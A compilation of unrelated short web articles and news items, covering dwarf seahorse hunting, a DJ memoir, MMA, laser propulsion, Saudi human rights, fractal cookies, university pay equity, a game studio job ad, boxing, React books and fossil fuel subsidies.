Coverage  TechDirt: Prenda’s Latest Bag Of Tricks: Getting Info On IP Addresses By Any Means Necessary by Mike Masnick.  Followup
-Dwarf seahorses swim slowly. That doesn’t seem to hurt their ability to catch prey, however. What they lack in speed they make up for in stealth. Their jaws approach their prey, undetected, until they’re closer than the thickness of a penny. Then the fish strike before their snack can escape. Scientists recently reported they’ve found the secret to this seahorse’s sneak attack: the unusual shape of its head.  Seahorses often eat copepods, tiny shrimplike crustaceans that share the same watery neighborhoods as the fish. But copepods will swim away quickly when they sense a predator nearby. They need only two or three milliseconds of warning, says Brad Gemmell. He’s a marine biologist at the University of Texas at Austin. That amount of time is about as long as it takes a fly to flap its wings.  A dwarf seahorse (Hippocampus zosterae) can strike in less than half that time. But to succeed, the fish has to practically swim right up to the copepod without scaring it away. That’s where the head trick comes in, says Gemmell. He and his coworkers found that as a seahorse swims, a small zone of water in front of its head barely moves. And that calm water is key, they reported November 26 in Nature Communications.  Copepods use antenna hairs to sense danger, like the whoosh of water that precedes an attacking predator. But because of the shape of its head, a dwarf seahorse won’t stir up the water. So the copepods never know what’s coming.  Gemmell notes that dwarf seahorses are some of the slowest-swimming fish in the sea. And because their snouts are shorter than that of other seahorses, they must strike from a closer distance. But thanks to their head shape, they can still catch “one of the most capable escape artists on the planet,” he told Science News.  Dwarf seahorses and some copepods inhabit underwater meadows of sea grass in the Gulf of Mexico and other parts of the Caribbean. The meadow’s slow water flow makes nearby movements —like a watery whoosh — easier for copepods to detect. But dwarf seahorses use their heads to sneak around.  This could be a running contest between prey and attacker. The copepods evolve, or develop over a long period of time, better escapes. Then seahorses evolve better stealth, explains Sam Van Wassenbergh. A biologist at Ghent University in Belgium, he did not work on the new study.  To investigate the seahorse’s secret, Gemmell and his coworkers shined lasers through water in a tank containing dwarf seahorses and copepods. Particles suspended in the water bumped the laser light and caused tiny changes in its direction. By studying these changes, the scientists could tell how the fluid moved. When they studied the laser’s path around the head of attacking seahorses, the scientists observed a little spot near the top of the snout where the water stayed calm.  Getting close is key, Gemmell says. Other fish other succeed at catching copepods in calm water about 33 percent of the time. But when a dwarf seahorse gets within striking range, he notes that it will catch a copepod an impressive 94 percent of the time.  Power Words  copepod A large class of small crustaceans found in the ocean and in freshwater habitats.  crustaceans Hard-shelled, water-dwelling animals including lobsters, crabs and shrimp.  evolve To change gradually over generations, or a long period of time. In living organisms, the evolution usually involves random changes to genes that will then be passed along to an individual’s offspring. These can lead to new traits, such as altered coloration, new susceptibility to disease or protection from it, or different shaped features (such as legs, antennae, toes or internal organs).  millisecond One-thousandth of a second  predator (adjective: predatory) A creature that preys on other animals for most or all of its food.  prey Animal species eaten by others.
-My early days as a DJ back in the 1980s were some of my favorite times in my career, because I got to play all styles of music from Italo disco to house and from new wave to reggae. I tied them all together with my trusty Roland 808 drum machine. This was the beginning of electronic dance music as we know it today. But I had one big problem — I was super shy. I couldn’t even look at the crowd! All I did was look at the turntables and the mixer.  I recall when I was the resident DJ at The Playground in Chicago — where I played for 1,500 kids every Friday and Saturday — reaching a point where I had the most amazing revelation. As I was going through all the technical aspects of DJing, I had no idea that a lot of girls would just stand in front of the DJ booth and stare at me. When I finally looked up, I realized that I had absolutely nothing to be shy about. Girls love DJs. From that moment on I stood tall in my skills and embraced the attention that a DJ commands.  I remember playing MayDay in Berlin, Germany for the first time back in 2000. I closed it out following Jeff Mills, Carl Cox, Marusha and WestBam. Talk about being scared. Not because each one my peers is an amazing, legendary DJ, but because they all played fast, hard techno! Now I play a very diverse cross section of styles of electronic dance music, but never hard techno. As a matter of fact, WestBam — one of the founders of Mayday — was very adamant that he wanted me to play whatever I felt.  ART of the DJ live in Arcata, California in May, 2014  Well, going from 145 BPM to 125 BPM is a huge jump for any style, but I was up for the challenge. As I played my first track and watched the ecstasy-induced crowd go from a frenzy to a cool groove, my spirit relaxed. The process took about five minutes, but as I looked at WestBam and saw him nod “I told you so,” it was the most amazing feeling. Further proof that all styles of music are universal. It was definitely one of my most memorable sets of all time.  In 2010 I started incorporating live visual elements into my sets to enhance the experience. I remember the first time I utilized the Roland Visual Sampler system and ran my documentary “The Real Story” at King King in Los Angeles. The crowd was fascinated because I was DJing, but the visuals were telling my story at the same time. They didn’t know whether to dance or to watch. Having that kind of control over a crowd is stimulating, to say the least.  The 2014 Chosen Few DJs event — the largest 100% pure house music celebration in the world, boasting over 50,000 in attendance — was my favorite by far. My performance utilized my own edits of house favorites and new tracks blended together. I even had a hype (wo)man in my homie, the incomparable, beautiful, talented and sexy LisaRaye!
-Two-time BJJ world champion, two-time ADCC champion, and UFC and Pride veteran Fabricio Werdum shocked the world when he choked out Fedor Emelianenko in 2010. Now he'll challenge Alistair Overeem for the Strikeforce title in the first round of their heavyweight tournament.  He talked to Tatame about the fight:  Technically, your side of the key is stronger, is where the favorites are. Why do you think that Strikeforce matched the fights this way?  I believe they did it that way so that they can sell many pay-per-view subscriptions on the semifinals and on the finale. They're betting I'll beat Overeem and that Fedor beats Big Foot, because they know everybody wants that rematch. So, they want to guarantee a good semifinal so that they sell it out and they're betting on it. Who doesn't want to watch a rematch like this one?  ...  Both Kharitoov and Arlovski has beaten you. Do you think about fighting them again?  What I think about is a rematch with Fedor. I wouldn't like to give Overeem this rematch, I'm just fighting because the event matched this fight. To Fedor I'll give this rematch happily, because I like him and he deserves this rematch. But first I have to think about how I'll beat Overeem so that rematch can happen.  It says a great deal about the lack of legitimacy the Strikeforce heavyweight belt has that Werdum doesn't even care that he'll be the champ going into the second round of the tournament if he beats Overeem.  The genius of the Strikeforce tournament is it's allowing them to book the fights that they should have been booking anyway. Werdum beat Fedor and earned the title shot against Overeem -- whether he wants it or not.  Fedor was so dominant for so long that he deserves a shot at the title after only one win.  Antonio Silva will certainly deserve a title if he beats Fedor.  As for the weaker side of the bracket, if Josh Barnett, Andrei Arlovski, Sergei Kharitonov, or Brett Rogers picks up two wins, they'll be a credible challenger -- especially by Strikeforce standards.
-Our journey into the final frontier is still in its infancy. Russian cosmonaut Yuri Gagarin was the first human to venture into outer space in 1961. Fast forward to today and we have men and women living aboard a space station orbiting 249 miles above Earth. Private companies such as SpaceX are pushing the boundaries of what’s possible with reusable rockets. Probes like New Horizons are studying the distant bodies of our solar system. But, how do we take that next step?  One potential answer is photonic propulsion. Basically, using lasers as propulsion.  Professor Philip Lubin from the University of California Santa Barbara gave a talk at the 2015 NIAC Fall Symposium last October. In it, he tackled the prospects of photonic propulsion and what it could mean for interstellar travel and exploration.  Lubin tells us we can already get to relativistic speeds (a speed that is a sizable proportion of the speed of light) in the laboratory. Think the Large Hadron Collider in Europe. That uses electromagnetic acceleration.  Then we get to things we use to travel in everyday life – cars, airplanes and rockets. And “we are pathetically slow,” according to Lubin. This is where photonic propulsion could come into play.  Now, this isn’t your typical propulsion system. Think about NASA’s Dawn and New Horizons spacecraft. The propulsion systems are attached to the spacecraft. What Lubin is proposing is building a laser array to propel a spacecraft. The array and the spacecraft start in low-Earth orbit. But, then the spacecraft is propelled away while the array stays in Earth orbit. Here’s an image that illustrates what’s going on.  You see how the craft is much further away from the laser array? That simulation was using a 20 m diameter array with power of 272 kW propelling a 1 g payload. What makes this system so intriguing is it’s scalable. You could create a bigger array to power a bigger payload.  When the SLS launches in the next few years, it will rise off the launch pad at between 50 and 100 gW (gigawatts). “Turns out, to get to relativistic speeds with the spacecraft we’re talking about, you basically need the same power level,” says Lubin. “And for about the same amount of time. It takes 10 minutes to get to orbit with the shuttle. It takes us 10 minutes to get to 30% the speed of light with about the same power level, just using different technology.”  This technology could propel a 100 kg spacecraft to Mars in three days. Something the size of a shuttle? About a month.  “There are recent advances which takes this from science fiction to science reality,” says Lubin. “There is no known reason why we cannot do this.”  The potential uses for photonic propulsion are nearly endless. From planetary defense to SETI. You can imagine how handy this technology would be for pushing asteroids or comets on a potential impact course away from us.  How do you stop?  And therein lies the rub. “If you ever watched Spaceballs, you know on the back it says ‘we stop for nobody.’ So we stop for nobody,” Lubin joked at his NIAC Fall Symposium talk. One idea is an Alpha Centauri flyby mission.  Getting to Mars in three days sounds great, but placing an object in Mars orbit is trickier. You would need a second array on the surface or orbiting the red planet to slow down the spacecraft. But, using this propulsion for manned missions is a very long ways off. It would be better suited for flybys of objects outside of our solar system.  Watch the entire talk by Lubin to learn more about the ins and outs of photonic propulsion.
-At the memorial for Nelson Mandela, President Barack Obama eulogized the fallen leader:  Like Gandhi, he would lead a resistance movement – a movement that at its start held little prospect of success. Like [Martin Luther] King, he would give potent voice to the claims of the oppressed.  Listening in the crowd sat Prince Muqrin bin Abdulaziz al-Saud, the Kingdom of Saudi Arabia's second deputy prime minister. Apparently the words were lost on the government His Royal Highness was representing (though it's questionable he even relayed the message), because within the next week, a Saudi judge sentenced democratic activist Omar al-Saeed to 4 years in prison and 300 lashes. His crime: calling for a constitutional monarchy (a government that would likely outlaw such cruel and unusual punishment).  Omar al-Saeed Photo: Twitter  Saeed is a member of the Saudi Civil and Political Rights Association (Acpra), an organization documenting human rights abuses and calling for democratic reform. He is its fourth member to be sentenced to prison this year. In March, co-founders Mohammad Fahad al-Qahtani (who I have met in the past, and previously wrote about) and Abdullah al-Hamid were sentenced to prison terms of 10 and 5 years on charges such as "breaking allegiance with the ruler" and running an unlicensed political organization – despite repeated attempts to obtain a license.  Not surprisingly, there has been no strong public statement from the Obama administration regarding Saeed's sentencing. Following the conviction and sentencing of Qahtani and Hamid, the strongest language came from the obscure United States Commission on International Religious Freedom. It took a direct question at a press briefing to prompt a canned statement from the State department, claiming "concern" at the arrests and sentences, and asserting that the US makes "strong representations for human rights activists" wherever our diplomats are.  It is also of little surprise that American media hasn't pressed Obama administration officials on this latest persecution, and the clear signal the sentence sends that those "strong representations" fell on deliberately deaf ears. After all, there is much to be distracted by in the region: the Iranian nuclear deal, the continuing bloody war in Syria, and the escalating conflict in Egypt. All of these strategically concern Saudi Arabia and its level of influence – briefings at State in the days following Saeed's sentencing touched on issues such as Saudi-US cooperation in the Middle East peace process, and the Geneva II conference over Syria, with no mention of the quashing of nascent civil society.  But what is particularly galling about the lack of public pressure on the Saudi government for their continued crackdown on Acpra and other democratic activists is that it is indicative of a broader flight from the lofty pro-democracy rhetoric of the Obama White House at the beginning of the Arab Spring.  With Syria, the Obama administration seemed interested principally in retributive strikes against the Assad regime for using chemical weapons simply because it crossed an imaginary "red line" and because it violated an "international norm", regardless of what the effect would be on the revolution's non-extremist anti-Assad forces and movements – likely the only (yet swiftly fading) hope for democratization.  The United States government chose not to label the overthrow of Mohamed Morsi as a military coup in Egypt – and then only reduced military aid (which is required by law should a military government overthrow a democratically elected leader) in the face of massive and violent repression where, quite literally, "the whole world was watching". Secretary of State John Kerry then said this aid reduction was not a form of "punishment" in his November visit to Cairo. Now the state department had to issue a statement on 23 December, condemning the recent crackdown by Egypt's military government on peaceful demonstrators and activists – a sign that once again, trust in authoritarian regimes to be the stewards of inclusive democratic transitions will result in failure.  Of course, there are strategic rationalizations for supporting the military government of Sisi in Egypt, or Saudi Arabia, despite human rights abuses. The US is set to sell $10.8bn in military weapons, including standoff land attack missiles and anti-ship harpoon missiles capable of being fired from US-made F-15s and F-16s to Saudi and the UAE – the latter just sentenced an American citizen to a year in prison for making a satirical video about Emirati youth.  These countries are important players, and must interact with the many moving parts of US foreign policy. But this was also the argument behind support for the apartheid government of South Africa – where strategic interests took precedence over addressing clear injustice.  It's clear that half-hearted condemnations have little effect on human rights abuses. The governments of countries like Saudi Arabia, the UAE and Egypt can't afford to truly forswear US support (even if they make public displays of frustration). The US and other allies should demand an end to the suppression of democratic activism and civil society – and back it up with real threats of withdrawal of support.  Supporters of democracy should not be afraid to name, shame, and directly confront tyranny wherever it is seen. Whether it is in Russia or China, or perpetrated under the guise of "national security" by the United States or the Kingdom of Saudi Arabia. Those that deem oppression a strategic necessity or its elimination an impossibility almost always end up on the "wrong side of history".
-A few months ago we showed you how to make beautiful fractals in polymer clay.  Take that idea, run with it, and where do you end up? In the kitchen, making Sierpinski cookies! These cookies, made from contrasting colors of butter cookie dough, are a tasty realization of the Sierpinski carpet, producing lovely, edible fractals.  As with our earlier project involving clay, you can make these by using a simple iterative algorithmic process of stretching out the dough and folding it over onto itself in a specific pattern.  For choice of materials, we found the pixel cookies on Instructables to be inspiring. ( You can, of course, make a representation of a fractal using pixels, like these Sierpinski triangles. However, there is a big logical difference between generating a fractal algorithmically versus just making a picture of one with pixels!)  Our method starts with an initial pattern. Once that is made, it is stretched out to make it small enough to form the basis of the next iteration, which is in turn stretched out and folded to make the next iteration. Again, we’ve used this method before with fimo fractals, but the time for cookie fractals has come!  The pixel cookie advice to use the butter cookie recipe from Cook’s Illustrated is excellent (they even posted the recipe). You’ll need dough of contrasting colors. You can use food coloring if you like, but we suggest chocolate.  To make a batch of chocolate dough, reduce the flour by 1/4 cup and substitute 1/4 cup of cocoa powder. Also reduce the butter by a tablespoon and mix about a tablespoon of melted bittersweet chocolate into the cream cheese before adding it to the dough. Chilling the dough isn’t necessary, as you want it to be soft enough to be workable.  For the first block, you’ll need to roll out eight strips of one color and one of the contrasting color. After rolling them out, form each one into a square, then stack them to form a larger block with the contrasting color in the center. You’ll want to slice off the end of the stack to even it up. Use a sharp knife and cut carefully so you don’t squish the pattern.  To draw the block out longer and thinner without disturbing the pattern, turn it over frequently. You can either squeeze the sides, then rotate, or press the top, then rotate. It helps to pull it out twice as long as it was, then cut in half, and repeat until you have eight equal pieces, each about as long as the original block. Parchment paper is a good work surface for this. Keep an extra sheet handy for when the one you’re working on gets too sticky.  Roll out another length of the contrasting color, using the same amount of dough you used for the original pieces. Form it into a square, and stack the pieces up with the contrasting piece in the center again.  As you draw out the block, the edges of the individual sections will merge. If you want to cut samples of the different iterations, this is the time to do it – just after the edges have merged sufficiently. Again, lengthen it until it is twice as long, cut, and lengthen those pieces, cut again and repeat.  When you add another piece of contrasting color and stack everything up, the pieces will again be somewhat separate. You will want to draw it out a little smaller to merge the blocks before slicing.  With three iterations, it’s now ready to slice. (If brave, feel free to try more iterations.) Chilling it would probably be a good idea, but if you’re impatient, be sure to rotate between slices to keep the pattern from getting too squished in any one direction. Slice carefully with a very sharp knife or a cheese wire.  One final (but optional) step is to gently roll each cookie out to smooth the surface texture out.  Before…  and after baking.  Admire them while you can as they disappear quickly.  Fractal foods are not particularly common, but they are a lot of fun, like this fantastic fractal pizza. So, what fractal foods can you come up with? We’d love to see pictures of your fractal food in our flickr pool.
-An Ontario university is the latest to bump the salaries of its female faculty members after discovering they were being paid thousands of dollars less than their male coworkers, but one professor says steps must be taken to prevent — not just rectify — such biases in academia.  In a memo emailed to faculty Wednesday and obtained by The Canadian Press, the University of Waterloo said a working group tasked with analyzing faculty salaries uncovered a "systemic gender anomaly" that was "consistent across the university."  As a result, it said an adjustment of $2,905 will be made on Sept. 1 to the salaries of all female faculty members who were in the faculty association’s bargaining unit as of April 30 of last year.  However, the working group said in its report that the increases will not be applied retroactively.  Aimee Morrison, an associate professor at the university and associate chair of graduate studies, says this type of inequity is a problem across academia "and probably all fields."  While it’s great that the university is willing to address the problem, "I don’t see a bigger conversation happening in really pointed ways about how does this keep happening," she said.  "It’s not an anomaly if it’s a pattern."  Several other Canadian universities, including Hamilton’s McMaster University and the University of British Columbia, have given raises to female faculty members in recent years so that they earn as much as their male peers.  The University of Waterloo itself has conducted salary reviews in the past, including one in 2008 that made "several recommended salary adjustments for individual women faculty" but did not lead to university-wide increases.  The working group recommends that the university examine salaries every five years on top of conducting annual reviews within each department.  It also stresses that since starting salaries and merit increases are the key factors affecting pay, "care should be taken to ensure that starting salaries are equitable, as inequity at this point can quickly compound."  Morrison, who has sat on faculty evaluation committees, said there could be checklists or other tools to help people take note of their internalized biases when determining salaries.  "The reason that we have to keep doing these reviews is that the underlying inequities in how faculty members are assessed or in how they are supported in their initial salary negotiations is still going to be prey to bias," she said.  "If we could fix the bias, the anomaly, once fixed, would not reproduce itself, but it keeps reproducing itself."  Lynne Taylor, co-chair of the working group, said the review’s mandate was simply to identify any discrepancies, not the underlying causes.  "We still don’t have a clear sense of why it happens. I would love that to be fixed and I think there are people in the upper reaches of the administration who would like to see this rectified as well," she said.  "Until we have a sense of where that’s coming from, though, I think it is smart to have a regular review," she said. "All of us would just wish it wasn’t necessary but if it is, at least it’s getting fixed."  Jean Andrey, dean of the faculty of environment, said the anomalous salaries were spread across all faculties and ranks, adding that the university has been "doing a lot of thinking" about how the discrepencies didn’t get noticed before.  Andrey suggested the differences in salaries could be the result of a "legacy effect" due to there not being as much equity in the past, or that starting salaries for some employees could have been lower due to a "different approach in negotiating terms of employment" when they were hired.  "The really good news about the work we’ve done is that by looking at annual performance reviews we’ve been able to conclude that there’s no evidence of a systematic gender bias in the way that we do annual merit evaluations," she said. "We believe that there is fairness in our assessment processes."  Waterloo’s latest review was part of a salary settlement between the university and the faculty association that was reached May 1 of last year.  Other faculty members’ salaries were also flagged as "anomalous" and the review recommended that a one-time adjustment be made to make up for the discrepancy.  Salaries were evaluated using a regression model that took several variables into account, including annual performance evaluations and outstanding performance awards.  The report says that 71 of roughly 1,170 faculty members were identified as "potential anomalies," and of those, 59 were confirmed anomalies, meaning "there was nothing in their career path that could account for the aberration in their actual salaries and the fitted/predicted salary outputted from the regression model."  The remaining 12 will be investigated further.
-Though the concept of savory chopped meat wrapped in dough exists in every cuisine, in one way or another — fried, baked or boiled — the British have proudly claimed sausage rolls as their own. Or so says my friend Caroline, an expat Briton who considers herself an expert in such things. (I am always asking her for the English point of view, and she is not shy.)  What is she cooking for the holidays? I asked. Sausage rolls, she said, tons of them. For Caroline, it’s no bother at all to throw together a bit of puff pastry and a batch of sausage meat; she doesn’t even have to measure ingredients, so accustomed is she to the routine.  And it is fairly simple. Form the sausage filling into a long log shape and wrap it with dough, slice into pieces, brush with egg wash and bake till golden.
-Remedy Games is looking to hire a new game designer, so let’s pick over the job ad and see what we can surmise from it.  Remedy Games, known for Max Payne (1 & 2), Alan Wake, and Quantum Break, is currently in development on a project we don’t know much about. The project, codenamed ‘P7’ (this is their seventh title), is looking for a game designer with experience and knowledge of online systems.  To be more specific, it really sounds like they want the designer to be familiar with Destiny. Part of the job ad reads:  Are you constantly thinking about intriguing ways to excite your players and keep them invested in your game’s world? Are you obsessed with lore and a desire to create rich content that communities will devour? Do you design challenge systems that are so moreish your players plan their week around them? Have you already designed the next Battle Royale? Are you always among the first to find Xûr?  The ‘responsibilities section of the job ad specifically mentions creating “compelling, innovative online game modes” too. They are looking for someone to “share knowledge and keep the team updated on trends and areas for innovation in the connected- gaming space”.  This is interesting, as Remedy has, in the past, worked exclusively on single-player games. A move into large, persistent multiplayer gaming is a huge change for the developer, which is publishing the game under 505 Games (and they have invested in it fairly heavily).  We know (per the link above) that the game will use the same engine as Quantum Break, and that it will come to PS4, Xbox One, and PC. Hopefully we’ll find out more about what they’re working on in 2018.  If this, incidentally, sounds like something you’d be good at, applications are open until January 1. This is a full-time position, and you must live in or be willing to relocate to Espoo, Helsinki. The company offers five weeks of holidays a year, which is pretty nice considering gaming’s crunch culture.
-Anthony Joshua has won all 16 of his professional fights by knockout  Great Britain's IBF world heavyweight champion Anthony Joshua could make a defence of his title at Beijing's National Stadium, according to promoter Barry Hearn.  The National Stadium - or Bird's Nest - was used at the 2008 Olympics.  "When you plan someone's career like Joshua you tend to plan in advance," said Hearn, who saw Joshua stop Charles Martin last month to win the title.  "I think we're two years from saying we can sell out the Bird's Nest in China."  Hearn is the father of Joshua's promoter Eddie, and chairman of the fighter's Matchroom stable.  He identified China's 2008 Olympic silver medallist Zhang Zhilei, who has built an unbeaten professional record of eight fights since basing himself in Las Vegas, as a potential opponent for 26-year-old undefeated Joshua.  "Sometimes these things don't happen because people get beaten, but our job is about creating these kinds of moments," he added.  Joshua will make the first defence of his title against American Dominic Breazeale in London next month.
-It has been some time (almost 2 years?) since we started using React.js at Arkency. It quickly propagated to all of our projects. Along the way, we’ve been blogging a lot about what we learnt.  So far we’ve released:  28 blogposts  5 open repositories  React.js koans  7 YT videos  2 books (with repos)  dozens of emails to our React Kung Fu mailing list  This blogpost is an attempt to put all the resources in one place.  Blogposts  React.js koans  React.js koans  YouTube videos  Repositories  Books  Rails meets React.js  The book will teach you:  How to install and configure React.js in your Rails project.  Working with dynamic React based forms.  How to transform your view to React-managed components.  What you can use React.js for in your projects and how.  Detailed knowledge about how to use it and best practices to work with React.js, with examples.  How to test React components.  You will also get Ruby and CoffeeScript code for the examples.  And it begins with a tutorial so that you start with practical skills.  Animations with React.js is such a great topic that we decided to record and include 2 videos on this topic.  Buy Rails meets React.js  React.js by example  We love working with React.js so much, that we also published another book on this topic - “React.js by Example”.  This book doesn’t focus on the Rails integration. We wanted to share with you how to setup a separated (from Rails) React.js-based frontend.  This book is directed to people who are total React.js newbies. There are 12 typical examples implemented in React.js. Each of the examples is another chapter. Each example contains a narration on how one of us (from Arkency) approaches the development of a React.js component.  What’s more - you receive all the repositories for this book! You can browse the code, you can run the examples, you can tweak them.  After reading this book, you will be fully ready to approach a typical React.js component.  The examples are written in EcmaScript2015 and use webpack.  Buy React.js by Example  Which of our React.js books to choose?  Those books are very different. They teach you React.js in different ways. While the “Rails meets React.js” book is more Rails focused, it focuses on developing one component from a small one to a very complex widget.  The “React.js by Example” is focused on the starting point. It shows 12 examples, which are typical things you will start with.  Many of our readers bought both of the books and are happy with that.  If you need to choose just one - if you want to use React.js within an existing Rails ecosystem, then go for “Rails meets React.js”. If you are allowed to develop the frontend separately to Rails, then choose “React.js by Example”.
-Economically and environmentally, it would be far better for the future of the planet to phase out fossil fuel subsidies and provide more incentives for clean energy.  Economically and environmentally, it would be far better for the future of the planet to phase out fossil fuel subsidies and provide more incentives for clean energy. Photo: Union of Concerned Scientists  Environmental Protection Agency Administrator Scott Pruitt recently proposed eliminating federal tax credits for wind and solar power, arguing that they should “stand on their own and compete against coal and natural gas and other sources” as opposed to “being propped up by tax incentives and other types of credits….”  Stand on their own? Pruitt surely must be aware that fossil fuels have been feasting at the government trough for at least 100 years. Renewables, by comparison, have received support only since the mid-1990s and, until recently, have had to subsist on scraps.  Perhaps a review of the facts can set administrator Pruitt straight. There’s a strong case to be made that Congress should terminate subsidies for fossil fuels and extend them for renewables, not the other way around.  A century (or two) of subsidies  To promote domestic energy production, the federal government has been serving the oil and gas industry a smorgasbord of subsidies since the early days of the 20th century. Companies can deduct the cost of drilling wells, for example, as well as the cost of exploring for and developing oil shale deposits. They even get a domestic manufacturing deduction, which is intended to keep US industries from moving abroad, even though—by the very nature of their business—they can’t move overseas.  All told, from 1918 through 2009, the industry’s tax breaks and other subsidies amounted to an average of $4.86 billion annually (in 2010 dollars), according to a 2011 study by DBL Investors, a venture capital firm. Accounting for inflation, that would be $5.53 billion a year today.  The DBL study didn’t include coal due to the lack of data for subsidies going back to the early 1800s, but the federal government has lavished considerably more on the coal industry than on renewables. In 2008 alone, coal received between $3.2 billion and $5.4 billion in subsidies, according to a 2011 Harvard Medical School study in the Annals of the New York Academy of Sciences.  Meanwhile, wind and other renewable energy technologies, DBL found, averaged only $370 million a year in subsidies between 1994 and 2009, the equivalent of $421 million a year today. The 2009 economic stimulus package did provide $21 billion for renewables, but that support barely began to level the playing field that has tilted in favor of oil and gas for 100 years and coal for more than 200.  A 2009 study by the Environmental Law Institute looked at US energy subsidies since the turn of this century. It found that between 2002 and 2008, the federal government gave fossil fuels six times more than what it gave solar, wind, and other renewables. Coal, natural gas, and oil benefited from $72.5 billion in subsidies (in 2007 dollars) over that seven-year period, while “traditional” renewable energy sources—mainly wind and solar—received only $12.2 billion. A pie chart from the report shows that 71 percent of federal subsidies went to coal, natural gas and oil, 17 percent—$16.8 billion—went to corn ethanol, and the remaining 12 percent went to traditional renewables.  A new study by Oil Change International brings us up to date. Published earlier this month, it found that federal subsidies in 2015 and 2016 averaged $10.9 billion a year for the oil and gas industry and $3.8 billion for the coal industry. By contrast, the wind industry’s so-called production tax credit, renewed by Congress in December 2015, amounted to $3.3 billion last year, according to a Congress Joint Committee on Taxation (JCT) estimate.  Unlike the fossil fuel industry’s permanent subsidies, Congress has allowed the wind tax credit to expire six times in the last 20 years, and it is now set to decline incrementally until ending in 2020. Similarly, Congress fixed the solar industry’s investment tax credit at 30 percent of a project’s cost through 2019, but reduced it to 10 percent for commercial projects and zeroed it out for residences by the end of 2021. The JCT estimates that the solar credit amounted to a $2.4-billion tax break last year. Totaling it up, fossil fuels—at $14.7 billion—still received two-and-a-half times more in federal support than solar and wind in 2016.  The costs of pollution  Subsidy numbers tell only part of the story. Besides a century or two of support, the federal government has allowed fossil fuel companies and electric utilities to “externalize” their costs of production and foist them on the public.  Although coal now only generates 30 percent of US electricity, down from 50 percent in 2008, it is still responsible for two-thirds of the electric utility sector’s carbon emissions and is a leading source of toxic pollutants linked to cancer; cardiovascular, respiratory, and neurological diseases; and premature death. The 2011 Harvard Medical School study cited above estimated coal’s “life cycle” cost to the country—including its impact on miners, public health, the environment and the climate—at $345 billion a year.  In July 2016, the federal government finally began regulating the more than 1,400 coal ash ponds across the country containing billions of gallons of heavy metals and other byproducts from burning coal. Coal ash, which has been leaching and spilling into local groundwater, wetlands, creeks, and rivers, can cause cancer, heart, and lung disease, birth defects and neurological damage in humans, and can devastate bird, fish, and frog populations.  But that was last year. Since taking office, the Trump administration has been working overtime to bolster coal, which can no longer compete economically with natural gas or renewables. Earlier this year, it rescinded a rule that would have protected waterways from mining waste, and a few months ago it filed a repeal of another Obama-era measure that would have increased mineral royalties on federal lands. More recently, Energy Secretary Rick Perry asked the Federal Energy Regulatory Commission to ensure that coal plants can recover all of their costs, whether those plants are needed or not.  Natural gas burns more cleanly than coal, but its drilling sites, processing plants, and pipelines leak methane, and its production technique—hydraulic fracturing—can contaminate water supplies and trigger earthquakes. Currently the fuel is responsible for nearly a third of the electric utility sector’s carbon emissions. Meanwhile, the US transportation sector—whose oil-powered engine exhaust exacerbates asthma and likely causes other respiratory problems and heart disease—is now the nation’s largest carbon polluter, edging out the electric utility sector last year for the first time since the late 1970s.  Like the coal industry, the oil and gas industry has friends in high places. Thanks to friendly lawmakers and administrations, natural gas developers are exempt from key provisions of seven major environmental laws that protect air and water from toxic chemicals. Permitting them to flout these critical safeguards forces taxpayers to shoulder the cost of monitoring, remediation, and cleanup—if they happen at all.  The benefits of clean energy  Unlike fossil fuels, wind and solar energy do not emit toxic pollutants or greenhouse gases. They also are not subject to price volatility: wind gusts and solar rays are free, so more renewables would help stabilize energy prices. And they are becoming less expensive, more productive, and more reliable every year. According to a recent Department of Energy (DOE) report, power from new wind farms last year cost a third of wind’s price in 2010 and was cheaper than electricity from natural gas plants.  Perhaps the biggest bonus of transitioning to a clean energy system, however, is the fact that the benefits of improved air quality and climate change mitigation far outweigh the cost of implementation, according to a January 2016 DOE study. Conducted by researchers at the DOE’s Lawrence Berkeley National Laboratory and National Renewable Energy Laboratory, the study assessed the impact of standards in 29 states and the District of Columbia that require utilities to increase their use of renewables by a certain percentage by a specific year. Called renewable electricity (or portfolio) standards, they range from California and New York’s ambitious goals of 50 percent by 2030 to Wisconsin’s modest target of 10 percent by 2015.  It turns out that it cost utilities nationwide approximately $1 billion a year between 2010 and 2013—generally the equivalent of less than 2 percent of average statewide retail electricity rates—to comply with the state standards. On the benefit side of the equation, however, standards-spawned renewable technologies in 2013 alone generated $7.4 billion in public health and other societal benefits by reducing carbon dioxide, sulfur dioxide, nitrogen oxide, and particulate matter emissions. They also saved consumers as much as $1.2 billion by lowering wholesale electricity prices and as much as $3.7 billion by reducing natural gas prices, because more renewable energy on the grid cuts demand—and lowers the price—of natural gas and other power sources that have higher operating costs.  Take fossil fuels off the dole  If the initial rationale for subsidizing fossil fuels was to encourage their growth, that time has long since passed. The Center for American Progress (CAP), a liberal think tank, published a fact sheet in May 2016 identifying nine unnecessary oil and gas tax breaks that should be terminated. Repealing the subsidies, according to CAP, would save the US Treasury a minimum of $37.7 billion over the next 10 years.  An August 2016 report for the Council on Foreign Relations by Gilbert Metcalf, an economics professor at Tufts University, concluded that eliminating the three major federal tax incentives for oil and gas production would have a relatively small impact on production and consumption. The three provisions—deductions for “intangible” drilling costs, deductions for oil and gas deposit depletion, and deductions for domestic manufacturing—account for 90 percent of the cost of the subsidies. Ending these tax breaks, Metcalf says, would save the Treasury roughly $4 billion a year and would not appreciably raise oil and gas prices.  At the same time, the relatively new, burgeoning clean energy sector deserves federal support as it gains a foothold in the marketplace. Steve Clemmer, energy research director at the Union of Concerned Scientists, made the case in testimony before a House subcommittee last March that Congress should preserve wind and solar tax incentives beyond 2020.  “Until we can transition to national policies that provide more stable, long-term support for clean, low-carbon energy,” he said, “Congress should extend federal tax credits by at least five more years to maintain the sustained orderly growth of the industry and provide more parity and predictability for renewables in the tax code.” Clemmer also recommended new tax credits for investments in low- and zero-carbon technologies and energy storage technologies.  Despite the steady barrage of through-the-looking-glass statements by Trump administration officials, scientific and economic facts still matter. Administrator Pruitt would do well to examine them. Congress should, too, when it considers its tax overhaul bill, which is now being drafted behind closed doors. If they did, perhaps they would recognize that—economically and environmentally—it would be far better for the future of the planet to phase out fossil fuel subsidies and provide more incentives for clean energy.  Posted in: Energy, Uncategorized Tags: Administrator Scott Pruitt, EPA, Scott Pruitt, Trump Administration  Support from UCS members make work like this possible. Will you join us? Help UCS advance independent science for a healthy environment and a safer world.
